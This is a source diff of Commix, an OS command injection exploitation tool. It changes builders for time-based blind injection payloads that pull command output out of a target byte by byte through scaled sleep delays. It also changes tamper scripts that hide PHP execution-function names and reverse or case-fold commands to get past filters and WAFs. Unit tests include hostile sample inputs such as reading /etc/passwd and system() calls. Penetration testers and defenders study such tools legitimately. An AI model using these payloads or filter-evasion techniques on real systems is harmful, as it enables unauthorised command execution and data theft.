settings.LINUX_PYTHON_INTERPRETER + " -c \"import sys;print(sys.stdin.buffer.read()[" + - str(num_of_chars - 1) + "])\"" + settings.CMD_SUB_SUFFIX) + return _py_call(cmd, ("import os,sys", + "print(os.fsencode(sys.argv[1])[" + str(num_of_chars - 1) + "])")) + +""" +The ordinal of that output's Nth byte, taken by awk as an argument rather than off two pipes. Read +the same way as the count beside it, so the position asked for is the position indexed. + +A letter is concatenated onto the byte, and only the first of the two is read: a substitution drops +the newlines it ends with, so a byte that is itself a newline would otherwise come back as nothing. +The parentheses stand in for the space awk's own concatenation would need, which the whitespace +substitution would eat inside the quoted program. +""" +def _ordinal_arg_expr(word, num_of_chars): + byte = (settings.CMD_SUB_PREFIX + "awk 'BEGIN{print((substr(ARGV[1]," + str(num_of_chars) + + ",1))(\"X\"))}' \"" + word + "\"" + settings.CMD_SUB_SUFFIX) + return settings.CMD_SUB_PREFIX + "printf '%d' \"'" + byte + "\"" + settings.CMD_SUB_SUFFIX + +""" +The same condition written as arithmetic, or nothing where it is not one 'test' comparison of +numbers - which is all a payload builds, and all that can be scaled into a delay without a branch. +""" +_TEST_TO_ARITHMETIC = ((" -eq ", "=="), (" -ne ", "!="), (" -le ", "<="), + (" -lt ", "<"), (" -ge ", ">="), (" -gt ", ">")) + +def _arithmetic_condition(condition): + expression = condition + for test_form, arithmetic in _TEST_TO_ARITHMETIC: + expression = expression.replace(test_form, arithmetic) + return expression if re.match(r"\A[\d\s<>=!]+\Z", expression) else None + +""" +The whole measurement as one command: the delay is scaled by the comparison itself, so there is +nothing to chain and no operator beyond the separator under test ever reaches the payload. This is +what the ';' and newline branches already say with a variable between two commands - written here +without one, for the separators that cannot carry a variable from one command to the next. +""" +def _timed_comparison(timesec, expected, length_expr, comparison="=="): + return ("sleep $((" + str(timesec) + "*(" + str(expected) + comparison + length_expr + ")))") + +# The same, delayed by the alternative interpreter rather than by 'sleep'. +def _py_timed_comparison(timesec, expected, length_expr, comparison="=="): + delay = "time.sleep($((" + str(timesec) + "*(" + str(expected) + comparison + length_expr + "))))" + return (settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c " + + _py_source(("import time", delay)) + settings.CMD_SUB_SUFFIX) """ Time-based decision payload (check if host is vulnerable). @@ -111,9 +177,24 @@ def decision(separator, TAG, output_length, timesec, http_request_method): settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "sleep $((" + str(timesec) + "*(" + str(output_length) + "==$" + settings.RANDOM_VAR_GENERATOR + "1)))" ) + elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + """ + Measured and delayed on in the one command, so neither of these has to chain anything. + + A number read straight back, rather than the length of the marker: the shell has to run the + substitution for the two sides to match, which is what the length check proved too, and this + asks nothing of the target beyond its own 'echo'. Detection is where that matters - a shell + without 'awk' would otherwise answer nothing here, and answering nothing reads as not + injectable rather than as a tool that could not ask. + """ + marker = random.randint(10000, 99999) + payload = (separator + + "sleep $((" + str(timesec) + "*(" + str(marker) + "==" + + _output_word("echo " + str(marker)) + ")))" + ) elif separator == "&": - # The "&&" this payload already carries can hold a variable, where a pipe into "wc" - # would bring in an operator the separator under test is not the one for. + # Backticks cannot nest, so the measurement is carried in a variable here - which '&' cannot + # hand on to the command after it, leaving the '&&' below to hold it. payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + "&&" + "[ " + str(output_length) + " -eq ${#" + settings.RANDOM_VAR_GENERATOR + "} ]" + "&&" + @@ -162,6 +243,9 @@ def decision_alter_interpreter(separator, TAG, output_length, timesec, http_requ settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(output_length) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX ) + elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + payload = separator + _py_timed_comparison(timesec, output_length, + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len('" + TAG + "'))\"" + settings.CMD_SUB_SUFFIX) elif separator == "&": payload = (separator + # Find the length of the output, using readline(). @@ -222,6 +306,9 @@ def condition_check(separator, condition, timesec, http_request_method): settings.RANDOM_VAR_GENERATOR + "=$?" + separator + "sleep $((" + str(timesec) + "*(" + settings.RANDOM_VAR_GENERATOR + "==0)))" ) + elif separator in ("&", "&&") and not settings.USE_BACKTICKS \ + and _arithmetic_condition(condition) is not None: + payload = separator + "sleep $((" + str(timesec) + "*(" + _arithmetic_condition(condition) + ")))" elif separator == "&": payload = (separator + "[ " + condition + " ]" + "&&" + @@ -276,6 +363,8 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "sleep $((" + str(timesec) + "*(" + str(output_length) + "==$" + settings.RANDOM_VAR_GENERATOR + "1)))" ) + elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + payload = separator + _timed_comparison(timesec, output_length, _length_arg_expr(word)) elif separator == "&": # The "&&" this payload already carries can hold a variable, where a pipe into "wc" # would bring in an operator the separator under test is not the one for. @@ -327,6 +416,8 @@ def cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http settings.RANDOM_VAR_GENERATOR + "1=" + _py_length_expr(cmd) + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(output_length) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX ) + elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + payload = separator + _py_timed_comparison(timesec, output_length, _py_length_expr(cmd)) elif separator == "&": payload = (separator + # Find the length of the output, using readline(). @@ -379,6 +470,8 @@ def get_length(separator, cmd, candidate_length, timesec, http_request_method): "sleep $((" + str(timesec) + "*(" + str(candidate_length) + "<=$" + settings.RANDOM_VAR_GENERATOR + "1)))" ) + elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + payload = separator + _timed_comparison(timesec, candidate_length, _length_arg_expr(word), "<=") elif separator == "&": # The "&&" this payload already carries can hold a variable, where a pipe into "wc" # would bring in an operator the separator under test is not the one for. @@ -428,6 +521,8 @@ def get_length_alter_interpreter(separator, cmd, candidate_length, timesec, http settings.RANDOM_VAR_GENERATOR + "1=" + _py_length_expr(cmd) + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(candidate_length) + "<=${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX ) + elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + payload = separator + _py_timed_comparison(timesec, candidate_length, _py_length_expr(cmd), "<=") elif separator == "&": payload = (separator + "[ " + str(candidate_length) + " -le " + _py_length_expr(cmd) + " ]" + "&&" + @@ -489,6 +584,9 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met "sleep $((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + var_ordinal_expr + ")))" ) + elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + payload = separator + _timed_comparison(timesec, ascii_char, + _ordinal_arg_expr(word, num_of_chars), arith_operator) elif separator == "&": # The "&&" this payload already carries can hold a variable, where a pipe into "wc" # would bring in an operator the separator under test is not the one for. @@ -548,6 +646,9 @@ def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + "${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX ) + elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + payload = separator + _py_timed_comparison(timesec, ascii_char, + _py_ordinal_expr(cmd, num_of_chars), arith_operator) elif separator == "&": payload = (separator + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + _py_ordinal_expr(cmd, num_of_chars) + " ]" + "&&" + @@ -597,6 +698,9 @@ def fp_result_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timese settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + "==${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX ) + elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + payload = separator + _py_timed_comparison(timesec, ascii_char, + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\r\"" + settings.CMD_SUB_SUFFIX) elif separator == "&": payload = (separator + "[ " + str(ascii_char) + " -eq " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\r\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + diff --git a/src/tamper/eval/php/phpnoletters.py b/src/tamper/eval/php/phpnoletters.py index 08a5b13daa..d03f7cda96 100644 --- a/src/tamper/eval/php/phpnoletters.py +++ b/src/tamper/eval/php/phpnoletters.py @@ -24,15 +24,16 @@ """ """ -Two different calls are hidden two different ways below. An execution function is run only for what -it does - its own return value is never read - so hiding it behind '&&' costs nothing: PHP short- -circuits into the call, and what '&&' itself evaluates to is thrown away regardless. 'rtrim'/'strlen'/ -'ord'/'substr'/'intval' are read for what they answer, feeding a comparison or another call the same -way the un-hidden call would have - and '&&' answers only true or false, never the value either side -of it held. Hiding one of those behind '&&' silently replaces "did this string have length 6" with -"did the call succeed", which reads the same on every length at once. An array literal is built and -indexed instead: '[$_1=name,$_1(args)][1]' still hides the name (and, as an expression, sits wherever -a value can) but the second element is the call's own answer, not '&&'s. +Every call is hidden the same way: an array literal is built and indexed, '[$_1=name,$_1(args)][1]'. +The literal hides the name, reads as an expression so it sits wherever a value can, and answers with +the call's own return value at its second element. + +An execution function is run only for what it does, so what the construct answers with would not +matter for those. It matters for 'rtrim'/'strlen'/'ord'/'substr'/'intval', which are read for what +they answer and feed a comparison or another call: a sequencing operator that answers only true or +false would silently replace "did this string have length 6" with "did the call succeed", which +reads the same on every length at once. One shape for both leaves no second answer to get wrong, +and leaves no operator in the payload beyond the separator it is proving. """ __tamper__ = "phpnoletters" @@ -62,10 +63,16 @@ def _hide_letters(text): """ Calling a function by a name built the same way, so naming the function this reaches costs no -letter either - assignment reads as an expression here, so this sits anywhere a value can. +letter either. The assignment and the call are sequenced by an array literal, read back at its +second element - which reads as an expression, so this sits anywhere a value can, and carries no +'&&' of its own. A payload proves one separator; '&&' in a sink that chains on something else is +one more character for a filter to strip, and a filter strips characters, it does not read PHP. """ _CALL_USER_FUNC = "\"" + _hide_letters("call_user_func") + "\"" -_CALL_PREFIX = "($_1=" + _CALL_USER_FUNC + ")&&$_1(" + +def _hidden_call(name, args): + return ("[$_1=" + _CALL_USER_FUNC + ",$_1(\"" + _hide_letters(name) + "\"" + + ("," if args else "") + args + ")][1]") # The probe and the execution functions - run for what they do, never read for what they answer. _EXEC_NAMES = list(settings.EXECUTION_FUNCTIONS_LVL3) + ["phpinfo", "sleep"] @@ -76,13 +83,12 @@ def _hide_letters(text): # Each name's own pattern, compiled once rather than once per payload - none of the five changes # for the life of the process. -_VALUE_CALL_PATTERNS = {name: re.compile(r"(?<![\w\\])" + re.escape(name) + r"\(") for name in _VALUE_NAMES} +_CALL_PATTERNS = {} -# Run one of the execution names through the letter-free call, its own arguments and closing -# bracket left exactly where they were - no comma before them where the call took none of its own, -# since this PHP still parses a trailing comma in a call as an error rather than an empty argument. -def _hide_call(name, has_args): - return _CALL_PREFIX + "\"" + _hide_letters(name) + "\"" + ("," if has_args else "") +def _call_pattern(name): + if name not in _CALL_PATTERNS: + _CALL_PATTERNS[name] = re.compile(r"(?<![\w\\])" + re.escape(name) + r"\(") + return _CALL_PATTERNS[name] """ The closing bracket that balances the one at 'open_index', a backtick-run command's own '(' and ')' @@ -111,7 +117,7 @@ def _matching_paren(text, open_index): around the end of it as much as the name is hidden at the start. """ def _hide_value_calls(payload, name): - pattern = _VALUE_CALL_PATTERNS[name] + pattern = _call_pattern(name) pieces, pos = [], 0 while True: match = pattern.search(payload, pos) @@ -125,8 +131,7 @@ def _hide_value_calls(payload, name): break pieces.append(payload[pos:match.start()]) args = payload[open_paren + 1:close_paren] - pieces.append("[$_1=" + _CALL_USER_FUNC + ",$_1(\"" + _hide_letters(name) + "\"" + - ("," if args else "") + args + ")][1]") + pieces.append(_hidden_call(name, args)) pos = close_paren + 1 return "".join(pieces) @@ -143,7 +148,7 @@ def _hide_print(payload): if close_paren == -1: return payload inner = payload[open_paren + 1:close_paren] - replacement = _CALL_PREFIX + "\"" + _hide_letters("printf") + "\",\"" + _hide_letters("%s") + "\"," + inner + ");" + replacement = _hidden_call("printf", "\"" + _hide_letters("%s") + "\"," + inner) + ";" return payload[:start] + replacement + payload[close_paren + 1:] """ @@ -162,14 +167,8 @@ def _hide_backtick(match): return "`" + _hide_letters(match.group(1)) + "`" def tamper(payload): - for name in _EXEC_NAMES: - # Only where the name opens a call of its own, so a longer name carrying a shorter one is not - # rewritten from the middle - and the call's own closing bracket still closes the new one. - pattern = r"(?<![\w\\])" + re.escape(name) + r"\(" - payload = re.sub(pattern, - lambda match, name=name: _hide_call(name, match.string[match.end():match.end() + 1] != ")"), - payload) - for name in _VALUE_NAMES: + # Run for what they do or read for what they answer, every one is hidden the same way. + for name in _EXEC_NAMES + _VALUE_NAMES: payload = _hide_value_calls(payload, name) payload = payload.replace("exit()", _HALT_REPLACEMENT) payload = _hide_print(payload) diff --git a/src/tamper/obfuscation/generic/__init__.py b/src/tamper/obfuscation/generic/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/obfuscation/generic/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/obfuscation/posix/randomcase.py b/src/tamper/obfuscation/generic/randomcase.py similarity index 81% rename from src/tamper/obfuscation/posix/randomcase.py rename to src/tamper/obfuscation/generic/randomcase.py index d4a86f3fdd..97a9328f04 100644 --- a/src/tamper/obfuscation/posix/randomcase.py +++ b/src/tamper/obfuscation/generic/randomcase.py @@ -23,8 +23,9 @@ would lower an argument's own letters with it, and the command was asked for with the letters it was asked for. On Windows nothing has to fold it back at all, 'cmd.exe' resolving a name without regard to case. - The fold is read by 'awk', which takes the name as an argument - a pipe into 'tr' would be - an operator the payload is not proving. + The fold alone is read by 'awk', which takes the name as an argument and so carries no + operator at all. Reading the name back from its end as well - where 'rev' is in use too - + carries one either way, and is written the way that script writes its own. The character ranges are quoted with "'", which is the one quote neither an evaluated string nor the shell inside it is already using. """ @@ -81,18 +82,21 @@ def tamper(payload): # rewrites are spelled out together rather than one wrapped around the other. # The fold on its own is one statement and needs no operator at all. Reading the name back # from its end as well needs one, so that form is chosen the way 'rev' chooses its own. + # The fold on its own is one awk statement and carries no operator at all. Reading the name + # back from its end as well carries one either way, so that form is chosen the way 'rev' + # chooses its own - awk where its ';' or newline is the separator under test, the pipes + # otherwise, those being what a target letting '&' through does not stop. if not settings.TAMPER_SCRIPTS["rev"]: - program = _FOLD + folded = "awk" + settings.SINGLE_WHITESPACE + _FOLD + settings.SINGLE_WHITESPACE + mixed_case else: mixed_case = mixed_case[::-1] payload_separator = checks.current_separator() - if not checks.awk_separator_usable(payload_separator): - warn_msg = "Nothing reads a name back from its end without an operator of its own, and " - warn_msg += "none of the ones that do is the separator under test. Skipping tamper script." - settings.print_once(warn_msg) - return payload - program = checks.awk_reverse_program(payload_separator, fold=True) - folded = "awk" + settings.SINGLE_WHITESPACE + program + settings.SINGLE_WHITESPACE + mixed_case + if checks.awk_separator_usable(payload_separator): + program = checks.awk_reverse_program(payload_separator, fold=True) + folded = "awk" + settings.SINGLE_WHITESPACE + program + settings.SINGLE_WHITESPACE + mixed_case + else: + folded = "echo" + settings.SINGLE_WHITESPACE + mixed_case + "|rev|tr" + \ + settings.SINGLE_WHITESPACE + "'[A-Z]'" + settings.SINGLE_WHITESPACE + "'[a-z]'" if settings.USE_BACKTICKS: random_case_cmd = "\\`" + folded + "\\`" else: diff --git a/src/tamper/obfuscation/posix/rev.py b/src/tamper/obfuscation/posix/rev.py index 149113f307..4e4e2ec018 100644 --- a/src/tamper/obfuscation/posix/rev.py +++ b/src/tamper/obfuscation/posix/rev.py @@ -18,11 +18,13 @@ """ About: Reverses (characterwise) the user-supplied operating system commands in a given payload. -Notes: This tamper script works against target(s) with a POSIX shell. The command is read back - from its end by 'rev' where the separator under test is a pipe, and by 'awk' - which takes - the words as arguments instead - where it is a ';' or a newline, those being what awk puts - between its own statements. On any other separator neither form can be written without - smuggling an operator the payload is not proving, and the script is left out of it. +Notes: This tamper script works against target(s) with a POSIX shell. Reading a command back + from its end needs an operator either way, so the form handed over is the one whose + operator the payload is already proving: 'awk' - which takes the words as arguments - where + the separator under test is a ';' or a newline, those being what awk puts between its own + statements, and 'rev' reading from a pipe where it is anything else. A filter strips one of + ';', '&' and '|' together with the others, so a target that let a '&' separator through is + not the one that stops the pipe. References: [1] https://github.com/commixproject/commix/issues/408 [2] https://medium.com/picus-security/how-to-bypass-wafs-for-os-command-injection-2c5dd4e6a52b """ @@ -51,16 +53,16 @@ def tamper(payload): if settings.USER_APPLIED_CMD in source: # 'rev' reads its input through a pipe and awk reads its own program through a ';' or a # newline, so the form handed over is the one whose operator is the separator under test. + # Reading a command back from its end needs an operator either way: awk puts a ';' or a + # newline between its own statements, 'rev' reads from a pipe. Where one of them is the + # separator under test, that is the form handed over. Where neither is - a '&' or '&&' + # separator - the pipe goes anyway: a filter that strips one of ';', '&' and '|' strips the + # others with it, so a target that let '&' through is not the one that stops a pipe. separator = checks.current_separator() - if separator == settings.PIPE_SEPARATOR: - reversed_cmd = "echo" + settings.SINGLE_WHITESPACE + settings.USER_APPLIED_CMD[::-1] + "|rev" - elif checks.awk_separator_usable(separator): + if checks.awk_separator_usable(separator): reversed_cmd = "awk" + settings.SINGLE_WHITESPACE + checks.awk_reverse_program(separator) + settings.SINGLE_WHITESPACE + settings.USER_APPLIED_CMD[::-1] else: - warn_msg = "Nothing reads a command back from its end without an operator of its own, and " - warn_msg += "none of the ones that do is the separator under test. Skipping tamper script." - settings.print_once(warn_msg) - return payload + reversed_cmd = "echo" + settings.SINGLE_WHITESPACE + settings.USER_APPLIED_CMD[::-1] + "|rev" if settings.USE_BACKTICKS: rev_cmd = "\\`" + reversed_cmd + "\\`" else: diff --git a/src/utils/settings.py b/src/utils/settings.py index d7bd22cec0..d409be3dd5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "259" +REVISION = "260" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/tests/test_payloads.py b/tests/test_payloads.py index 9631dea64e..bcacda5556 100644 --- a/tests/test_payloads.py +++ b/tests/test_payloads.py @@ -13,6 +13,7 @@ For more see the file 'readme/COPYING' for copying permission. """ +import re import inspect import importlib import unittest @@ -29,13 +30,7 @@ one command - the delay scaled by the comparison itself - rather than as two chained by an operator of their own. Nothing goes in here without a reason that says why its shape cannot. """ -UNRESOLVED = { - # This one does not only measure and delay: it rewrites the file afterwards, as - # decimals, for the character extraction that follows. That is a second command, - # which no arithmetic absorbs into the first - and '&' chains it without waiting, - # so the next request could read the file before the rewrite has landed. - ("tfb_payloads", "cmd_execution"), -} +UNRESOLVED = set() """ A value for whatever the builder asks for, named the way the builders name it. @@ -155,6 +150,83 @@ def test_the_unresolved_list_holds_nothing_already_compliant(self): still_offending.add((module_name, name)) self.assertEqual(UNRESOLVED, still_offending) +class AwkExpressions(unittest.TestCase): + """ + The measurements a payload makes when it cannot carry a variable from one command to the next. + Each is handed to awk as an argument, so none of them needs a pipe - and each program is written + so that it needs no separator of its own either. + """ + def _programs(self): + from src.core.techniques.time_based import tb_payloads + from src.core.techniques.tempfile_based import tfb_payloads + return { + "length": tb_payloads._length_arg_expr("WORD"), + "ordinal": tb_payloads._ordinal_arg_expr("WORD", 3), + "flatten": tfb_payloads.flattened_trimmed_text("FILE"), + } + + def test_none_of_them_pipes(self): + # A pipe is what each of these exists to avoid; 'wc', 'rev' and 'tr' all read one. + for name, program in self._programs().items(): + self.assertNotIn("|", program, name + " reaches for a pipe") + + def test_none_of_them_chains(self): + for name, program in self._programs().items(): + for operator in ("&&", "||", "&", ";"): + self.assertNotIn(operator, program, name + " carries " + repr(operator)) + + def test_no_awk_program_holds_a_space_inside_its_own_quotes(self): + """ + A space there is text to awk and a separator to the substitution that rewrites whitespace, so + a run with a space2* script would rewrite the program itself into something awk cannot read. + """ + for name, program in self._programs().items(): + # Only awk's own program, since the ordinal carries a lone quote of printf's beside it. + programs = re.findall(r"awk '([^']*)'", program) + self.assertTrue(programs, name + " has no awk program to check") + for part in programs: + self.assertNotIn(" ", part, name + " holds a space inside its quotes") + +class ArithmeticConditions(unittest.TestCase): + """ + A 'test' comparison, rewritten as arithmetic so the delay can be scaled by it instead of branching + on it - and refused where it is not one, rather than mistranslated into something that always holds. + """ + def test_a_numeric_comparison_translates(self): + from src.core.techniques.time_based import tb_payloads + for condition, expected in (("1 -eq 1", "1==1"), ("2 -ne 3", "2!=3"), ("4 -le 5", "4<=5"), + ("6 -lt 7", "6<7"), ("8 -ge 9", "8>=9"), ("1 -gt 0", "1>0")): + self.assertEqual(expected, tb_payloads._arithmetic_condition(condition)) + + def test_anything_else_is_refused(self): + from src.core.techniques.time_based import tb_payloads + for condition in ("-f /etc/passwd", "\"$x\" = \"y\"", "-n $VAR", "1 -eq $VAR"): + self.assertIsNone(tb_payloads._arithmetic_condition(condition), condition + " was translated") + + def test_the_condition_payloads_use_it(self): + # The separator count is the sweep's job; this is only that the arithmetic replaced the branch. + from src.core.techniques.time_based import tb_payloads + for separator in ("&", "&&"): + payload = tb_payloads.condition_check(separator, "1 -eq 1", 5, "GET") + self.assertIn("1==1", payload) + self.assertNotIn("[ 1 -eq 1 ]", payload) + +class BackticksFallback(unittest.TestCase): + """ + The one-command forms nest one substitution inside another, which backticks cannot express - so + a run using them keeps the older shape. It still has to produce a payload. + """ + def test_a_payload_is_still_built_with_backticks(self): + from src.core.techniques.time_based import tb_payloads + settings.USE_BACKTICKS = True + try: + for separator in ("&", "&&"): + payload = tb_payloads.decision(separator, "MARKER", 6, 5, "GET") + self.assertTrue(payload.strip(), "no payload under " + repr(separator)) + self.assertNotIn("awk", payload, "the nested form was used with backticks") + finally: + settings.USE_BACKTICKS = False + class PayloadShape(unittest.TestCase): def setUp(self): settings.TARGET_OS = settings.OS.UNIX diff --git a/tests/test_tamper.py b/tests/test_tamper.py index df5cdacc1e..35113d71a0 100644 --- a/tests/test_tamper.py +++ b/tests/test_tamper.py @@ -14,6 +14,7 @@ """ import os +import importlib import unittest from tests._testutils import SEPARATORS, stage, tamper_modules, separators_in @@ -72,13 +73,62 @@ def test_no_script_smuggles_an_unproved_separator(self): self.assertEqual([], offenders) def test_fold_alone_carries_no_operator_at_all(self): - from src.tamper.obfuscation.posix import randomcase + from src.tamper.obfuscation.generic import randomcase for separator in SEPARATORS: payload = stage(separator, rev=False) tampered = randomcase.tamper(payload) before, after = separators_in(payload), separators_in(tampered) self.assertEqual(before, after, "randomcase changed the separator count under " + repr(separator)) +class EvalTamperSeparators(unittest.TestCase): + """ + A script that rewrites evaluated code is inert against a shell payload, so the sweep above never + reaches one - which is how an '&&' sat in the PHP rewrite unnoticed. Each is run here against a + payload shaped the way its own language's grammar writes them. + + No evaluated language chains on a shell operator (test_grammars pins that), so any '&', '&&', + '|' or '||' a rewrite introduces is one the payload is not proving. A ';' is not counted: it + terminates a statement in several of these grammars, and one of them appends a bare one. + """ + SHAPES = { + "php": 'system("echo MARKER");', + "python": '__import__("os").system("echo MARKER")', + "ruby": 'system("echo MARKER")', + "javascript": 'require("child_process").execSync("echo MARKER")', + "lua": 'os.execute("echo MARKER")', + } + + def _eval_scripts(self): + return dict((name, module) for name, module in tamper_modules().items() + if "/eval/" in (module.__file__ or "").replace(os.sep, "/")) + + def test_the_sweep_reaches_the_evaluated_language_scripts(self): + acted = set() + for language, shape in self.SHAPES.items(): + settings.EVAL_GRAMMAR = importlib.import_module("src.core.eval.grammars." + language) + stage(";") + settings.RAW_PAYLOAD = shape + for name, module in self._eval_scripts().items(): + if module.tamper(shape) != shape: + acted.add(name) + # Short of this the assertion below passes by never rewriting anything at all. + self.assertGreater(len(acted), 8) + + def test_no_evaluated_rewrite_introduces_a_shell_operator(self): + offenders = [] + for language, shape in self.SHAPES.items(): + settings.EVAL_GRAMMAR = importlib.import_module("src.core.eval.grammars." + language) + stage(";") + settings.RAW_PAYLOAD = shape + before = separators_in(shape) + for name, module in self._eval_scripts().items(): + tampered = module.tamper(shape) + after = separators_in(tampered) + added = [_ for _ in ("&", "&&", "|", "||") if after[_] > before[_]] + if added: + offenders.append(language + "/" + name + " adds " + ",".join(added)) + self.assertEqual([], offenders) + class TamperOperatingSystem(unittest.TestCase): """ A script declared for one shell must answer for the other, since the operating system can settle @@ -105,7 +155,7 @@ class TamperCommandIntegrity(unittest.TestCase): What the user asked to run is what has to run: a rewrite may hide the command, never change it. """ def test_arguments_keep_their_own_case(self): - from src.tamper.obfuscation.posix import randomcase + from src.tamper.obfuscation.generic import randomcase # 'awk -F' is what the operating system users are read with, and '-f' is a different flag. for command in ("echo Hello", "awk -F ':' '{print $1}' /etc/passwd", "ping -n 1 127.0.0.1"): arguments = command.partition(settings.SINGLE_WHITESPACE)[2] @@ -125,7 +175,7 @@ def test_reversal_keeps_every_word_of_the_command(self): self.assertNotIn(";", program, "the newline-separated program still carries a ';'") def test_only_the_name_is_varied(self): - from src.tamper.obfuscation.posix import randomcase + from src.tamper.obfuscation.generic import randomcase for target_os in (settings.OS.UNIX, settings.OS.WINDOWS): payload = stage(";", command="echo Hello", target_os=target_os) self.assertIn("Hello", randomcase.tamper(payload)) From a4f754cd56f62a7f0ef3398ac67842fd497f9066 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 29 Oct 2026 09:18:15 +0200 Subject: [PATCH 0932/1023] Fixed retrieval of non-ASCII execution output, which could come back incomplete --- doc/ARCHITECTURE.md | 20 +- doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 213 ++++- src/core/controller/controller.py | 2 +- src/core/controller/enumeration.py | 4 +- src/core/controller/file_access.py | 2 +- src/core/controller/injector.py | 191 +++- src/core/controller/proof.py | 1 - src/core/options.py | 2 +- .../techniques/boolean_based/bb_handler.py | 59 +- .../techniques/boolean_based/bb_payloads.py | 88 +- src/core/techniques/oob/oob_payloads.py | 2 +- .../techniques/results_based/rb_payloads.py | 2 +- .../techniques/tempfile_based/tfb_payloads.py | 46 +- src/core/techniques/time_based/tb_payloads.py | 93 +- src/core/testing.py | 16 + src/tamper/obfuscation/generic/randomcase.py | 2 +- src/tamper/obfuscation/posix/dashlesstest.py | 1 - src/tamper/obfuscation/posix/printf2echo.py | 38 +- src/tamper/obfuscation/posix/rev.py | 2 +- src/tamper/quoting/posix/backticks.py | 24 +- .../whitespace/generic/multiplespaces.py | 12 +- src/tamper/whitespace/generic/space2htab.py | 12 +- src/tamper/whitespace/generic/space2plus.py | 12 +- src/tamper/whitespace/posix/space2ifs.py | 12 +- src/tamper/whitespace/posix/space2ifsraw.py | 12 +- src/tamper/whitespace/windows/space2vtab.py | 12 +- src/utils/common.py | 15 + src/utils/settings.py | 64 +- tests/_testutils.py | 2 +- tests/test_checks.py | 38 + tests/test_common.py | 140 +++ tests/test_grammars.py | 1 - tests/test_parameters.py | 104 +++ tests/test_payloads.py | 875 +++++++++++++++++- tests/test_tamper.py | 301 +++++- 36 files changed, 2235 insertions(+), 186 deletions(-) create mode 100644 tests/test_common.py create mode 100644 tests/test_parameters.py diff --git a/doc/ARCHITECTURE.md b/doc/ARCHITECTURE.md index 688290511f..80b356fdc9 100644 --- a/doc/ARCHITECTURE.md +++ b/doc/ARCHITECTURE.md @@ -255,7 +255,7 @@ what a run remembers is `session_handler.py`, and state bleeding from one target ## Checking a change -Two layers, neither of which needs a target. +Four layers, none of which needs a target. `tests/` is an offline suite written against the standard library's `unittest` alone - nothing to install, no network, and no payload leaving the machine. It pins what reading the code does not @@ -268,6 +268,18 @@ the word lists hold no repeat. Run it from the root with A sweep that finds nothing must not pass, so each one counts what it swept before it reads it - a suite that quietly stopped looking is the one failure none of the assertions below it would show. -`--smoke-test` is the other layer, and imports every module in the tree, which catches a name that -moved or a file that stopped parsing - neither of which the suite above would 